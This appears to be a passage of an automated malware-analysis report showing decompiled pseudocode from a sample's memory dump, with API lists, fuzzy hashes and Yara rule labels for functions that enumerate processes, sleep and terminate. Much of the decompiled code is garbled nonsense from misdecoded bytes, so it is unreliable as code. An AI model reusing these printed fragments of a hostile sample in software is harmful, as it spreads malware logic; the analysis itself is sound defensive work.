						_t78 = _t78 + 4;
						while(_t81 != 0) {
							_t40 = _t78 + 0x1c; // 0x1c
							_t61 = _t40;
							_t112 =  *_t61;
							if( *_t61 == 0) {
								L37:
								_t78 = _t78 + 0x11c;
								_t81 = _t81 - 1;
								continue;
							} else {
								_push(_t61);
								_push(_t67);
								_t62 = E00401DC6(_t67, _t77, _t81, _t112);
								_t113 = _t62;
								if(_t62 != 0) {
									goto L37;
								} else {
									 *(_t83 - 4) = 0;
								}
							}
							goto L38;
						}
					}
				}
				L38:
				LocalFree( *(_t83 - 0xc));
				_t57 = 0x207e;
				_push(0x227);
				E004012BF(_t57, _t77, _t78, _t81, _t113);
				return  *(_t83 - 4);
			}

0x00402067
0x00402067
0x00402067
0x00402067
0x00402068
0x0040206a
0x0040206a
0x0040206b
0x00402071
0x00402079
0x0040207e
0x00402085
0x00402092
0x00402098
0x004020a7
0x004020aa
0x004020b6
0x004020be
0x004020c4
0x004020c7
0x004020d0
0x004020d3
0x004020d5
0x004021f0
0x004021f0
0x00000000
0x004020db
0x004020db
0x004020e0
0x004020e2
0x004020e6
0x004020e8
0x004020ed
0x004020ef
0x004020f2
0x004020f4
0x004020f7
0x004020f9
0x004020fb
0x004020fd
0x004020ff
0x00402102
0x00402106
0x0040210a
0x0040210c
0x0040210f
0x00402111
0x00402113
0x00402115
0x00402117
0x00402119
0x0040211b
0x0040211d
0x0040211f
0x00402122
0x00402128
0x00402129
0x0040212c
0x0040212e
0x00402132
0x00402134
0x00402137
0x00402139
0x0040213b
0x0040213d
0x0040213f
0x00402142
0x00402144
0x00402145
0x00402148
0x0040214a
0x0040214e
0x00402150
0x00402156
0x0040215a
0x0040215c
0x0040215f
0x00402162
0x00402164
0x00402165
0x00402165
0x00402168
0x0040216a
0x0040216c
0x0040216d
0x00402170
0x00402174
0x00402176
0x00402179
0x0040217b
0x0040217d
0x0040217f
0x00402182
0x00402183
0x00402187
0x0040218a
0x0040218b
0x0040218e
0x00402191
0x00402194
0x00402196
0x00402199
0x0040219b
0x0040219d
0x0040219f
0x004021a2
0x004021a4
0x004021a5
0x004021a8
0x004021aa
0x004021ab
0x004021ae
0x004021af
0x004021b2
0x004021b6
0x004021b8
0x004021bb
0x004021bd
0x004021bf
0x004021bf
0x004021c3
0x004021c8
0x004021c9
0x004021ca
0x004021cc
0x004021d3
0x004021d9
0x004021de
0x004021ea
0x00000000
0x004021e0
0x004021e0
0x004021e1
0x004021e1
0x00000000
0x004021de
0x004021ef
0x00000000
0x004021ef
0x00000000
0x004020d5
0x004020c7
0x004021f7
0x004021fa
0x00402207
0x0040220d
0x0040221c
0x0040221f
0x00402233
0x00402235
0x00402238
0x0040223c
0x0040223e
0x00402241
0x00402245
0x0040224e
0x00402250
0x00402253
0x00402269
0x00402269
0x0040226f
0x00000000
0x00402255
0x00402255
0x00402256
0x00402257
0x0040225c
0x0040225e
0x00000000
0x00402260
0x00402260
0x00402260
0x0040225e
0x00000000
0x00402253
0x00402241
0x0040223c
0x00402272
0x00402275
0x00402285
0x00402293
0x004022a0
0x004022ac

APIs

NtQuerySystemInformation.NTDLL(00000005,00000000,00000000,?), ref: 00402092
LocalAlloc.KERNELBASE(00000040,00001000), ref: 004020A4
NtQuerySystemInformation.NTDLL(00000005,?,00001000,00001000), ref: 004020B6
NtQuerySystemInformation.NTDLL(0000000B,00000000,00000000,00001000), ref: 00402207
NtQuerySystemInformation.NTDLL(0000000B,?,00001000,00001000), ref: 0040222B
LocalFree.KERNELBASE(?), ref: 00402275

Memory Dump Source

Source File: 00000001.00000001.237032622.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: InformationQuerySystem$Local$AllocFree
String ID:
API String ID: 1057321837-0
Opcode ID: 4e2db359dd0e31473b039c7db5772b63874d6ef569f8a0d828bbb6424b8b169e
Instruction ID: 62cceacecb7d20dde42fc1d403f05b70585791ea5eb9fa3ecf180fc923b7dfc0
Opcode Fuzzy Hash: 4e2db359dd0e31473b039c7db5772b63874d6ef569f8a0d828bbb6424b8b169e
Instruction Fuzzy Hash: 1B41F26290D3D56FCB178B708E2D649BF316B13200B0DC2DFDA85AE5E3D3A8A904D756

Uniqueness

Uniqueness Score: -1.00%

Function 00402075, Relevance: 4.6, APIs: 3, Instructions: 124
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00402075(void* __edx, void* __edi, void* __eflags, void* __fp0) {
				void* _t45;
				long _t49;
				void* _t55;
				char* _t59;
				void* _t60;
				signed int* _t61;
				signed int _t62;
				signed int _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				long* _t73;
				long _t78;
				void _t79;
				intOrPtr* _t81;
				void* _t83;
				void _t88;
				void* _t97;
				void* _t103;
				void* _t111;

				_t111 = __fp0;
				_t76 = __edi;
				_pop(_t79);
				_t67 = 0x227;
				E004012BF(_t45, __edx, __edi, _t79, __eflags);
				 *(_t81 - 4) = 1;
				_t65 =  *((intOrPtr*)(_t81 + 8));
				NtQuerySystemInformation(5, 0, 0, _t81 - 8);
				 *(_t81 - 8) =  *(_t81 - 8) + 0x1000;
				 *(_t81 - 0xc) = LocalAlloc(0x40,  *(_t81 - 8));
				_t73 = _t81 - 8;
				_t49 = NtQuerySystemInformation(5,  *(_t81 - 0xc),  *(_t81 - 8), _t73);
				if(_t49 == 0) {
					_t76 =  *(_t81 - 0xc);
					while( *_t76 != 0) {
						_t79 =  *(_t76 + 0x3c);
						_t88 = _t79;
						if(_t88 == 0) {
							L30:
							_t76 = _t76 +  *_t76;
							continue;
						} else {
							L24();
							if (_t88 >= 0) goto L8;
							 *[gs:ebp] =  *[gs:ebp] + _t67;
							if ( *[gs:ebp] != 0) goto L9;
							_t61 = _t49 - 0x61006700;
							 *_t79 =  *_t79 + _t67;
							 *_t81 =  *_t81 + _t61;
							if ( *_t81 < 0) goto L10;
							 *[gs:eax] =  *[gs:eax] + _t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t67 =  *_t67 + _t73;
							 *((intOrPtr*)(_t65 + _t76)) =  *((intOrPtr*)(_t65 + _t76)) + _t61;
							 *[cs:ebp] =  *[cs:ebp] + _t61;
							if ( *[cs:ebp] < 0) goto L11;
							 *[gs:eax] =  *[gs:eax] + _t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t76 = _t73 +  *_t76;
							_t62 =  *_t61 * 0x64006e;
							asm("popad");
							 *_t79 =  *_t79 + _t67;
							if ( *_t79 < 0) goto L12;
							 *[cs:ebp] =  *[cs:ebp] + _t62;
							if ( *[cs:ebp] < 0) goto L13;
							 *[gs:eax] =  *[gs:eax] + _t62;
							 *_t62 =  *_t62 + _t62;
							 *_t62 =  *_t62 + _t62;
							 *_t62 =  *_t62 + _t62;
							 *_t62 =  *_t62 + _t62;
							 *_t79 =  *_t79 + _t73;
							asm("bound eax, [eax]");
							asm("outsd");
							 *_t62 =  *_t62 + _t65;
							if ( *_t62 >= 0) goto L14;
							 *[gs:edx] =  *[gs:edx] + _t73;
							if ( *[gs:edx] <= 0) goto L15;
							_t63 =  *_t62 * 0x650063;
							 *[cs:ebp] =  *[cs:ebp] + _t63;
							if ( *[cs:ebp] < 0) goto L16;
							 *[gs:eax] =  *[gs:eax] + _t63;
							 *_t79 =  *_t79 + _t73;
							asm("bound eax, [eax]");
							asm("outsd");
							 *_t63 =  *_t63 + _t65;
							_t97 =  *_t63;
							if (_t97 == 0) goto L17;
							if (_t97 < 0) goto L18;
							asm("popad");
							 *_t67 =  *_t67 + _t65;
							 *[cs:ebp] =  *[cs:ebp] + _t63;
							if ( *[cs:ebp] < 0) goto L19;
							 *[gs:eax] =  *[gs:eax] + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t79 =  *_t79 + _t73;
							asm("insd");
							 *((intOrPtr*)(_t63 + _t63 + 0x6f)) =  *((intOrPtr*)(_t63 + _t63 + 0x6f)) + _t73;
							 *_t76 =  *_t76 + _t67;
							asm("insb");
							 *_t65 =  *_t65 + _t73;
							 *[fs:esi] =  *[fs:esi] + _t67;
							 *_t81 =  *_t81 + _t63;
							if ( *_t81 < 0) goto L20;
							 *[gs:eax] =  *[gs:eax] + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t73;
							if ( *_t63 < 0) goto L21;
							asm("insb");
							 *_t76 =  *_t76 + _t65;
							if ( *_t76 == 0) goto L22;
							asm("outsd");
							 *_t76 =  *_t76 + _t67;
							asm("insb");
							 *_t65 =  *_t65 + _t73;
							 *[cs:ebp] =  *[cs:ebp] + _t63;
							if ( *[cs:ebp] < 0) goto L23;
							 *[gs:eax] =  *[gs:eax] + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t63;
							_t103 =  *_t63;
							E00401C2C(_t73, _t103, _t111, _t65, _t79);
							_pop(_t49);
							_push(_t76);
							_t78 = _t49;
							while( *_t78 != 0) {
								_t49 =  *((intOrPtr*)(_t65 + 0xa0))(_t79, _t78);
								_t83 = _t83 + 8;
								if(_t49 == 0) {
									_t78 = _t78 + 0x20;
									continue;
								} else {
									_pop(_t76);
									 *(_t81 - 4) = 0;
								}
								goto L31;
							}
							_pop(_t76);
							goto L30;
						}
						goto L31;
					}
				}
				L31:
				 *((intOrPtr*)(_t65 + 0x3c))( *(_t81 - 0xc));
				NtQuerySystemInformation(0xb, 0, 0, _t81 - 8);
				 *(_t81 - 8) =  *(_t81 - 8) + 0x1000;
				 *(_t81 - 0xc) =  *((intOrPtr*)(_t65 + 0x38))(0x40,  *(_t81 - 8));
				_t75 = _t81 - 8;
				if(NtQuerySystemInformation(0xb,  *(_t81 - 0xc),  *(_t81 - 8), _t81 - 8) == 0) {
					_t76 =  *(_t81 - 0xc);
					_t79 =  *_t76;
					if(_t79 != 0) {
						_t76 = _t76 + 4;
						while(_t79 != 0) {
							_t39 = _t76 + 0x1c; // 0x1c
							_t59 = _t39;
							_t109 =  *_t59;
							if( *_t59 == 0) {
								L38:
								_t76 = _t76 + 0x11c;
								_t79 = _t79 - 1;
								continue;
							} else {
								_push(_t59);
								_push(_t65);
								_t60 = E00401DC6(_t65, _t75, _t79, _t109);
								_t110 = _t60;
								if(_t60 != 0) {
									goto L38;
								} else {
									 *(_t81 - 4) = 0;
								}
							}
							goto L39;
						}
					}
				}
				L39:
				LocalFree( *(_t81 - 0xc));
				_t55 = 0x207e;
				_push(0x227);
				E004012BF(_t55, _t75, _t76, _t79, _t110);
				return  *(_t81 - 4);
			}

0x00402075
0x00402075
0x00402075
0x00402071
0x00402079
0x0040207e
0x00402085
0x00402092
0x00402098
0x004020a7
0x004020aa
0x004020b6
0x004020be
0x004020c4
0x004020c7
0x004020d0
0x004020d3
0x004020d5
0x004021f0
0x004021f0
0x00000000
0x004020db
0x004020db
0x004020e0
0x004020e2
0x004020e6
0x004020e8
0x004020ed
0x004020ef
0x004020f2
0x004020f4
0x004020f7
0x004020f9
0x004020fb
0x004020fd
0x004020ff
0x00402102
0x00402106
0x0040210a
0x0040210c
0x0040210f
0x00402111
0x00402113
0x00402115
0x00402117
0x00402119
0x0040211b
0x0040211d
0x0040211f
0x00402122
0x00402128
0x00402129
0x0040212c
0x0040212e
0x00402132
0x00402134
0x00402137
0x00402139
0x0040213b
0x0040213d
0x0040213f
0x00402142
0x00402144
0x00402145
0x00402148
0x0040214a
0x0040214e
0x00402150
0x00402156
0x0040215a
0x0040215c
0x0040215f
0x00402162
0x00402164
0x00402165
0x00402165
0x00402168
0x0040216a
0x0040216c
0x0040216d
0x00402170
0x00402174
0x00402176
0x00402179
0x0040217b
0x0040217d
0x0040217f
0x00402182
0x00402183
0x00402187
0x0040218a
0x0040218b
0x0040218e
0x00402191
0x00402194
0x00402196
0x00402199
0x0040219b
0x0040219d
0x0040219f
0x004021a2
0x004021a4
0x004021a5
0x004021a8
0x004021aa
0x004021ab
0x004021ae
0x004021af
0x004021b2
0x004021b6
0x004021b8
0x004021bb
0x004021bd
0x004021bf
0x004021bf
0x004021c3
0x004021c8
0x004021c9
0x004021ca
0x004021cc
0x004021d3
0x004021d9
0x004021de
0x004021ea
0x00000000
0x004021e0
0x004021e0
0x004021e1
0x004021e1
0x00000000
0x004021de
0x004021ef
0x00000000
0x004021ef
0x00000000
0x004020d5
0x004020c7
0x004021f7
0x004021fa
0x00402207
0x0040220d
0x0040221c
0x0040221f
0x00402233
0x00402235
0x00402238
0x0040223c
0x0040223e
0x00402241
0x00402245
0x0040224e
0x00402250
0x00402253
0x00402269
0x00402269
0x0040226f
0x00000000
0x00402255
0x00402255
0x00402256
0x00402257
0x0040225c
0x0040225e
0x00000000
0x00402260
0x00402260
0x00402260
0x0040225e
0x00000000
0x00402253
0x00402241
0x0040223c
0x00402272
0x00402275
0x00402285
0x00402293
0x004022a0
0x004022ac

APIs

NtQuerySystemInformation.NTDLL(00000005,00000000,00000000,?), ref: 00402092
LocalAlloc.KERNELBASE(00000040,00001000), ref: 004020A4
NtQuerySystemInformation.NTDLL(00000005,?,00001000,00001000), ref: 004020B6
NtQuerySystemInformation.NTDLL(0000000B,00000000,00000000,00001000), ref: 00402207
NtQuerySystemInformation.NTDLL(0000000B,?,00001000,00001000), ref: 0040222B
LocalFree.KERNELBASE(?), ref: 00402275

Memory Dump Source

Source File: 00000001.00000001.237032622.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: InformationQuerySystem$Local$AllocFree
String ID:
API String ID: 1057321837-0
Opcode ID: c9fdb7f7246ca0784ad3dd0a2294bdca0a93f0850225118284bb272fac16b710
Instruction ID: 460b22171c3b33be04cd079e1a53b05c6cbf42510699f426468e33666c4339ad
Opcode Fuzzy Hash: c9fdb7f7246ca0784ad3dd0a2294bdca0a93f0850225118284bb272fac16b710
Instruction Fuzzy Hash: 7141F36280D3D46FDB178B708E2C649BF306B13200B0DC2DFDA85AE5E3D3A8A944D756

Uniqueness

Uniqueness Score: -1.00%

Function 00402078, Relevance: 4.6, APIs: 3, Instructions: 120
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00402078(intOrPtr* __ecx, void* __edx, void* __edi, void __esi, void* __eflags, void* __fp0) {
				void* _t45;
				long _t49;
				void* _t55;
				char* _t59;
				void* _t60;
				signed int* _t61;
				signed int _t62;
				signed int _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				long* _t73;
				long _t78;
				intOrPtr* _t81;
				void* _t83;
				void _t88;
				void* _t97;
				void* _t103;
				void* _t111;

				_t111 = __fp0;
				_t79 = __esi;
				_t76 = __edi;
				_t67 = __ecx;
				_push(__ecx);
				E004012BF(_t45, __edx, __edi, __esi, __eflags);
				 *(_t81 - 4) = 1;
				_t65 =  *((intOrPtr*)(_t81 + 8));
				NtQuerySystemInformation(5, 0, 0, _t81 - 8);
				 *(_t81 - 8) =  *(_t81 - 8) + 0x1000;
				 *(_t81 - 0xc) = LocalAlloc(0x40,  *(_t81 - 8));
				_t73 = _t81 - 8;
				_t49 = NtQuerySystemInformation(5,  *(_t81 - 0xc),  *(_t81 - 8), _t73);
				if(_t49 == 0) {
					_t76 =  *(_t81 - 0xc);
					while( *_t76 != 0) {
						_t79 =  *(_t76 + 0x3c);
						_t88 = _t79;
						if(_t88 == 0) {
							L28:
							_t76 = _t76 +  *_t76;
							continue;
						} else {
							L22();
							if (_t88 >= 0) goto L6;
							 *[gs:ebp] =  *[gs:ebp] + _t67;
							if ( *[gs:ebp] != 0) goto L7;
							_t61 = _t49 - 0x61006700;
							 *_t79 =  *_t79 + _t67;
							 *_t81 =  *_t81 + _t61;
							if ( *_t81 < 0) goto L8;
							 *[gs:eax] =  *[gs:eax] + _t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t67 =  *_t67 + _t73;
							 *((intOrPtr*)(_t65 + _t76)) =  *((intOrPtr*)(_t65 + _t76)) + _t61;
							 *[cs:ebp] =  *[cs:ebp] + _t61;
							if ( *[cs:ebp] < 0) goto L9;
							 *[gs:eax] =  *[gs:eax] + _t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t61 = _t61 +  *_t61;
							 *_t76 = _t73 +  *_t76;
							_t62 =  *_t61 * 0x64006e;
							asm("popad");
							 *_t79 =  *_t79 + _t67;
							if ( *_t79 < 0) goto L10;
							 *[cs:ebp] =  *[cs:ebp] + _t62;
							if ( *[cs:ebp] < 0) goto L11;
							 *[gs:eax] =  *[gs:eax] + _t62;
							 *_t62 =  *_t62 + _t62;
							 *_t62 =  *_t62 + _t62;
							 *_t62 =  *_t62 + _t62;
							 *_t62 =  *_t62 + _t62;
							 *_t79 =  *_t79 + _t73;
							asm("bound eax, [eax]");
							asm("outsd");
							 *_t62 =  *_t62 + _t65;
							if ( *_t62 >= 0) goto L12;
							 *[gs:edx] =  *[gs:edx] + _t73;
							if ( *[gs:edx] <= 0) goto L13;
							_t63 =  *_t62 * 0x650063;
							 *[cs:ebp] =  *[cs:ebp] + _t63;
							if ( *[cs:ebp] < 0) goto L14;
							 *[gs:eax] =  *[gs:eax] + _t63;
							 *_t79 =  *_t79 + _t73;
							asm("bound eax, [eax]");
							asm("outsd");
							 *_t63 =  *_t63 + _t65;
							_t97 =  *_t63;
							if (_t97 == 0) goto L15;
							if (_t97 < 0) goto L16;
							asm("popad");
							 *_t67 =  *_t67 + _t65;
							 *[cs:ebp] =  *[cs:ebp] + _t63;
							if ( *[cs:ebp] < 0) goto L17;
							 *[gs:eax] =  *[gs:eax] + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t79 =  *_t79 + _t73;
							asm("insd");
							 *((intOrPtr*)(_t63 + _t63 + 0x6f)) =  *((intOrPtr*)(_t63 + _t63 + 0x6f)) + _t73;
							 *_t76 =  *_t76 + _t67;
							asm("insb");
							 *_t65 =  *_t65 + _t73;
							 *[fs:esi] =  *[fs:esi] + _t67;
							 *_t81 =  *_t81 + _t63;
							if ( *_t81 < 0) goto L18;
							 *[gs:eax] =  *[gs:eax] + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t73;
							if ( *_t63 < 0) goto L19;
							asm("insb");
							 *_t76 =  *_t76 + _t65;
							if ( *_t76 == 0) goto L20;
							asm("outsd");
							 *_t76 =  *_t76 + _t67;
							asm("insb");
							 *_t65 =  *_t65 + _t73;
							 *[cs:ebp] =  *[cs:ebp] + _t63;
							if ( *[cs:ebp] < 0) goto L21;
							 *[gs:eax] =  *[gs:eax] + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t63;
							 *_t63 =  *_t63 + _t63;
							_t103 =  *_t63;
							E00401C2C(_t73, _t103, _t111, _t65, _t79);
							_pop(_t49);
							_push(_t76);
							_t78 = _t49;
							while( *_t78 != 0) {
								_t49 =  *((intOrPtr*)(_t65 + 0xa0))(_t79, _t78);
								_t83 = _t83 + 8;
								if(_t49 == 0) {
									_t78 = _t78 + 0x20;
									continue;
								} else {
									_pop(_t76);
									 *(_t81 - 4) = 0;
								}
								goto L29;
							}
							_pop(_t76);
							goto L28;
						}
						goto L29;
					}
				}
				L29:
				 *((intOrPtr*)(_t65 + 0x3c))( *(_t81 - 0xc));
				NtQuerySystemInformation(0xb, 0, 0, _t81 - 8);
				 *(_t81 - 8) =  *(_t81 - 8) + 0x1000;
				 *(_t81 - 0xc) =  *((intOrPtr*)(_t65 + 0x38))(0x40,  *(_t81 - 8));
				_t75 = _t81 - 8;
				if(NtQuerySystemInformation(0xb,  *(_t81 - 0xc),  *(_t81 - 8), _t81 - 8) == 0) {
					_t76 =  *(_t81 - 0xc);
					_t79 =  *_t76;
					if(_t79 != 0) {
						_t76 = _t76 + 4;
						while(_t79 != 0) {
							_t39 = _t76 + 0x1c; // 0x1c
							_t59 = _t39;
							_t109 =  *_t59;
							if( *_t59 == 0) {
								L36:
								_t76 = _t76 + 0x11c;
								_t79 = _t79 - 1;
								continue;
							} else {
								_push(_t59);
								_push(_t65);
								_t60 = E00401DC6(_t65, _t75, _t79, _t109);
								_t110 = _t60;
								if(_t60 != 0) {
									goto L36;
								} else {
									 *(_t81 - 4) = 0;
								}
							}
							goto L37;
						}
					}
				}
				L37:
				LocalFree( *(_t81 - 0xc));
				_t55 = 0x207e;
				_push(0x227);
				E004012BF(_t55, _t75, _t76, _t79, _t110);
				return  *(_t81 - 4);
			}

0x00402078
0x00402078
0x00402078
0x00402078
0x00402078
0x00402079
0x0040207e
0x00402085
0x00402092
0x00402098
0x004020a7
0x004020aa
0x004020b6
0x004020be
0x004020c4
0x004020c7
0x004020d0
0x004020d3
0x004020d5
0x004021f0
0x004021f0
0x00000000
0x004020db
0x004020db
0x004020e0
0x004020e2
0x004020e6
0x004020e8
0x004020ed
0x004020ef
0x004020f2
0x004020f4
0x004020f7
0x004020f9
0x004020fb
0x004020fd
0x004020ff
0x00402102
0x00402106
0x0040210a
0x0040210c
0x0040210f
0x00402111
0x00402113
0x00402115
0x00402117
0x00402119
0x0040211b
0x0040211d
0x0040211f
0x00402122
0x00402128
0x00402129
0x0040212c
0x0040212e
0x00402132
0x00402134
0x00402137
0x00402139
0x0040213b
0x0040213d
0x0040213f
0x00402142
0x00402144
0x00402145
0x00402148
0x0040214a
0x0040214e
0x00402150
0x00402156
0x0040215a
0x0040215c
0x0040215f
0x00402162
0x00402164
0x00402165
0x00402165
0x00402168
0x0040216a
0x0040216c
0x0040216d
0x00402170
0x00402174
0x00402176
0x00402179
0x0040217b
0x0040217d
0x0040217f
0x00402182
0x00402183
0x00402187
0x0040218a
0x0040218b
0x0040218e
0x00402191
0x00402194
0x00402196
0x00402199
0x0040219b
0x0040219d
0x0040219f
0x004021a2
0x004021a4
0x004021a5
0x004021a8
0x004021aa
0x004021ab
0x004021ae
0x004021af
0x004021b2
0x004021b6
0x004021b8
0x004021bb
0x004021bd
0x004021bf
0x004021bf
0x004021c3
0x004021c8
0x004021c9
0x004021ca
0x004021cc
0x004021d3
0x004021d9
0x004021de
0x004021ea
0x00000000
0x004021e0
0x004021e0
0x004021e1
0x004021e1
0x00000000
0x004021de
0x004021ef
0x00000000
0x004021ef
0x00000000
0x004020d5
0x004020c7
0x004021f7
0x004021fa
0x00402207
0x0040220d
0x0040221c
0x0040221f
0x00402233
0x00402235
0x00402238
0x0040223c
0x0040223e
0x00402241
0x00402245
0x0040224e
0x00402250
0x00402253
0x00402269
0x00402269
0x0040226f
0x00000000
0x00402255
0x00402255
0x00402256
0x00402257
0x0040225c
0x0040225e
0x00000000
0x00402260
0x00402260
0x00402260
0x0040225e
0x00000000
0x00402253
0x00402241
0x0040223c
0x00402272
0x00402275
0x00402285
0x00402293
0x004022a0
0x004022ac

APIs

NtQuerySystemInformation.NTDLL(00000005,00000000,00000000,?), ref: 00402092
LocalAlloc.KERNELBASE(00000040,00001000), ref: 004020A4
NtQuerySystemInformation.NTDLL(00000005,?,00001000,00001000), ref: 004020B6
NtQuerySystemInformation.NTDLL(0000000B,00000000,00000000,00001000), ref: 00402207
NtQuerySystemInformation.NTDLL(0000000B,?,00001000,00001000), ref: 0040222B
LocalFree.KERNELBASE(?), ref: 00402275

Memory Dump Source

Source File: 00000001.00000001.237032622.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: InformationQuerySystem$Local$AllocFree
String ID:
API String ID: 1057321837-0
Opcode ID: 335ae0d67467969ff54795c10e830a077060fbb5a3661ec9c45216ceaf08f54e
Instruction ID: f7c2793bffe389ab6ba6d058dfb228de6c13c8bd762984f91d60e19887108543
Opcode Fuzzy Hash: 335ae0d67467969ff54795c10e830a077060fbb5a3661ec9c45216ceaf08f54e
Instruction Fuzzy Hash: 9941E46280D3D45FCB178B708E2C645BF306E13200B0DC2DFDA85AE5E3D3A8A904D756

Uniqueness

Uniqueness Score: -1.00%

Function 0040197F, Relevance: 3.1, APIs: 2, Instructions: 54
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 18%

			E0040197F(void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t8;
				void* _t11;
				intOrPtr _t13;
				intOrPtr* _t16;
				void* _t19;
				void* _t20;
				void* _t21;
				intOrPtr* _t22;
				void* _t23;
				intOrPtr* _t24;

				_t26 = __eflags;
				asm("out dx, eax");
				_push(0x19bb);
				_t8 =  *_t22;
				_t23 = _t22 + 4;
				asm("repne sub eax, 0xfff904e8");
				_push(0x62);
				_t24 = _t23 + 4;
				E004012BF(_t8, _t19, _t20, _t21, __eflags);
				_t16 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t16); // executed
				_t11 = E00401502(_t16, _t19, _t20, _t21, _t26); // executed
				_t27 = _t11;
				if(_t11 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t11);
					_push(_t16); // executed
					L004015D3(_t16, _t19, _t20, _t21, _t27); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_push(0x19bb);
				_t13 =  *_t24;
				return E004012BF(_t13, _t19, _t20, _t21, _t27);
			}

0x0040197f
0x0040199f
0x0040198f
0x00401994
0x00401997
0x004019b4
0x004019a7
0x004019ac
0x004019b6
0x004019bb
0x004019c3
0x004019c9
0x004019ca
0x004019cd
0x004019d0
0x004019d1
0x004019d6
0x004019d8
0x004019da
0x004019dd
0x004019e0
0x004019e1
0x004019e2
0x004019e2
0x004019eb
0x004019f3
0x004019f8
0x00401a21

APIs

Sleep.KERNELBASE(00001388,00000062), ref: 004019C3
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019EB

Memory Dump Source

Source File: 00000001.00000002.311100040.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: bcb473a80559007bb28423a92ef8681f65ebbcb398205737adca3c99fe595efc
Instruction ID: 57e3c6fabe06a165ad46eb134568508f3e71a46e85a60e7e826126cb482f7349
Opcode Fuzzy Hash: bcb473a80559007bb28423a92ef8681f65ebbcb398205737adca3c99fe595efc
Instruction Fuzzy Hash: 1601D8B1708204F7DB00AB959E92D7A3329AF41710F204137BA43791E1D63D9D22EB6B

Uniqueness

Uniqueness Score: -1.00%

Function 004019B1, Relevance: 3.1, APIs: 2, Instructions: 54
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E004019B1(void* __edi, void* __esi, void* __eflags) {
				void* _t8;
				void* _t11;
				intOrPtr _t13;
				intOrPtr* _t16;
				void* _t20;
				void* _t25;
				void* _t27;
				intOrPtr* _t28;

				_t31 = __eflags;
				_t23 = __esi;
				_t21 = __edi;
				asm("in al, dx");
				if (__eflags != 0) goto 0x40199f;
				asm("repne sub eax, 0xfff904e8");
				_push(0x62);
				_t28 = _t27 + 4;
				E004012BF(_t8, _t20, __edi, __esi, __eflags);
				_t16 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t16); // executed
				_t11 = E00401502(_t16, _t20, _t21, __esi, _t31); // executed
				_t32 = _t11;
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t11);
					_push(_t16); // executed
					L004015D3(_t16, _t20, _t21, _t23, _t32); // executed
				}
				 *_t16(0xffffffff, 0); // executed
				_push(0x19bb);
				_t13 =  *_t28;
				return E004012BF(_t13, _t20, _t21, _t23, _t32);
			}

0x004019b1
0x004019b1
0x004019b1
0x004019b1
0x004019b2
0x004019b4
0x004019a7
0x004019ac
0x004019b6
0x004019bb
0x004019c3
0x004019c9
0x004019ca
0x004019cd
0x004019d0
0x004019d1
0x004019d6
0x004019d8
0x004019da
0x004019dd
0x004019e0
0x004019e1
0x004019e2
0x004019e2
0x004019eb
0x004019f3
0x004019f8
0x00401a21

APIs

Sleep.KERNELBASE(00001388,00000062), ref: 004019C3
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019EB

Memory Dump Source

Source File: 00000001.00000002.311100040.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: cbd6cf45c0b53524ac5aa4dd2f83136c209037899838eeeb919ebb42b7f8e0e9
Instruction ID: 7f18fd79f6fc81d1aacc7b9178c151b85e6c9e578e0c4c1d9390a1e0af9d8492
